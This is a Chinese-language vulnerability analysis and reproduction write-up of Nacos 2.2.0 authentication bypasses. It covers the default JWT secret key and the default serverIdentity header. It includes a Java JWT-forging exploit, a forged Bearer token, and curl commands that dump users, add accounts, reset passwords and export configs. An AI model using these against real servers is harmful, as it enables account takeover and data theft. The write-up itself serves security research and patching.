在2023的ciscn初赛中有一道Nacos配合Spring Cloud Gateway RCE的题,其实非常简单就是:Nacos结合Spring Cloud Gateway RCE利用 ,然后配合CVE-2021-29441即可

其实近期还出现了一个认证漏洞,修复版本:https://github.com/alibaba/nacos/releases/tag/2.2.0.1

在该版本中移除了默认鉴权插件中依赖的nacos.core.auth.plugin.nacos.token.secret.key默认值,来简单看一下

环境搭建

下载存在漏洞的版本:https://github.com/alibaba/nacos/releases/tag/2.2.0
解压后执行

1
2
3
4
5
cd nacos/bin
#启动服务器
bash startup.sh -m standalone
#关闭服务器
bash shutdown.sh

随后访问ip:8848/nacos即可访问到web服务

默认账号密码是nacos、nacos

修改startup.sh添加JVM远程调试

即可远程调试代码

漏洞分析

官方鉴权方面的文档:https://nacos.io/zh-cn/docs/auth.html

JWT默认secretKey

我们查看一下配置文件conf/application.properties,发现nacos.core.auth.plugin.nacos.token.secret.key是一个默认值:

1
SecretKey012345678901234567890123456789012345678901234567890123456789

看到JWT加密的相关代码:com.alibaba.nacos.plugin.auth.impl.JwtTokenManager#createToken(java.lang.String)

这里secretKey是一个默认的定值

接下来看到com.alibaba.nacos.plugin.auth.impl.controller.UserController#login登录逻辑中

如果配置文件中的nacos.core.auth.system.type为nacos或者ldap,就会进入com.alibaba.nacos.plugin.auth.impl.NacosAuthManager#login调用 resolveToken 和 validate0 函数对token进行认证

resolveToken函数用于提取 Authorization 的值,若以Bearer开头,则取第7个字符以后的字符串返回

然后调用validate0函数用于校验JWT token

知道了jwt的生成和校验逻辑、用户名以及jwt的默认私钥,就可以伪造jwt token了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.io.Decoders;
import io.jsonwebtoken.security.Keys;

import java.util.Date;

public class key {
public static void main(String[] args) {
System.out.println(createToken("nacos"));
}

public static String createToken(String userName) {
String key = "SecretKey012345678901234567890123456789012345678901234567890123456789";
long now = System.currentTimeMillis();
Date validity = new Date(now + 18000*1000L);

Claims claims = Jwts.claims().setSubject(userName);
return Jwts.builder().setClaims(claims).setExpiration(validity).signWith(Keys.hmacShaKeyFor(Decoders.BASE64.decode(key)), SignatureAlgorithm.HS256).compact();
}
}

得到:

1
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY4NTYxNzQ1MH0.IxrFfeyBRAyqMHBBWL_Njppkt1pq_OoOprQOI6ec5fY

成功绕过鉴权获取到用户信息

默认自定义身份识别标志

基于三梦师傅发现的bypass方式User-Agent: Nacos-Serverhttps://github.com/alibaba/nacos/issues/4593,最后官方建议是启用新机制去代替,避免被非法访问

1
2
3
4
5
6
7
8
9
10
### If turn on auth system:
nacos.core.auth.enabled=true

### Since 1.4.1, Turn on/off white auth for user-agent: nacos-server, only for upgrade from old version.
nacos.core.auth.enable.userAgentAuthWhite=false

### Since 1.4.1, worked when nacos.core.auth.enabled=true and nacos.core.auth.enable.userAgentAuthWhite=false.
### The two properties is the white list for auth and used by identity the request from other server.
nacos.core.auth.server.identity.key=serverIdentity
nacos.core.auth.server.identity.value=security

但是如果用户只开启了鉴权,并没有修改默认的key以及value的值,我们就可以利用这个bypass

鉴权的代码在com.alibaba.nacos.core.auth.AuthFilter#doFilter

可以看到如果成功匹配到了application.properties配置文件中的nacos.core.auth.server.identity.key以及nacos.core.auth.server.identity.value的值,就可以跳过鉴权

请求时加上header serverIdentity: security

成功绕过鉴权获取到用户信息

漏洞利用

我们可以通过官方文档找到许多可利用的接口:https://nacos.io/zh-cn/docs/open-api.html

版本探测:
/v1/console/server/state

然后最为人所知的poc就是(未开启auth):

1
2
3
4
5
6
7
8
读取用户账号密码:
curl -X GET "http://192.168.111.178:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur"

添加用户:
curl -X POST "http://192.168.111.178:8848/nacos/v1/auth/users?username=test&password=test"

任意用户密码更改:
curl -X PUT "http://192.168.111.178:8848/nacos/v1/auth/users?username=test&newPassword=test1234"

其实还可以获取到Namespace列表:/v1/console/namespaces

获取到Namespace的配置信息:/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99&tenant=dev

也可以将配置文件导出:/v1/cs/configs?export=true&tenant=public&group=&appName=&ids=

默认启动是不开启鉴权的,并且按照官方文档开启鉴权后,可以使用默认的 serverIdentity 和 JWT 两种方式进行绕过鉴权

参考:
【安全记录】- Nacos accessToken 权限认证绕过漏洞及思考
nacos token.secret.key身份认证绕过漏洞(QVD-2023-6271)
Nacos 身份认证绕过漏洞QVD-2023-6271
nacos漏洞(CNVD-2023674205)复现&踩坑记录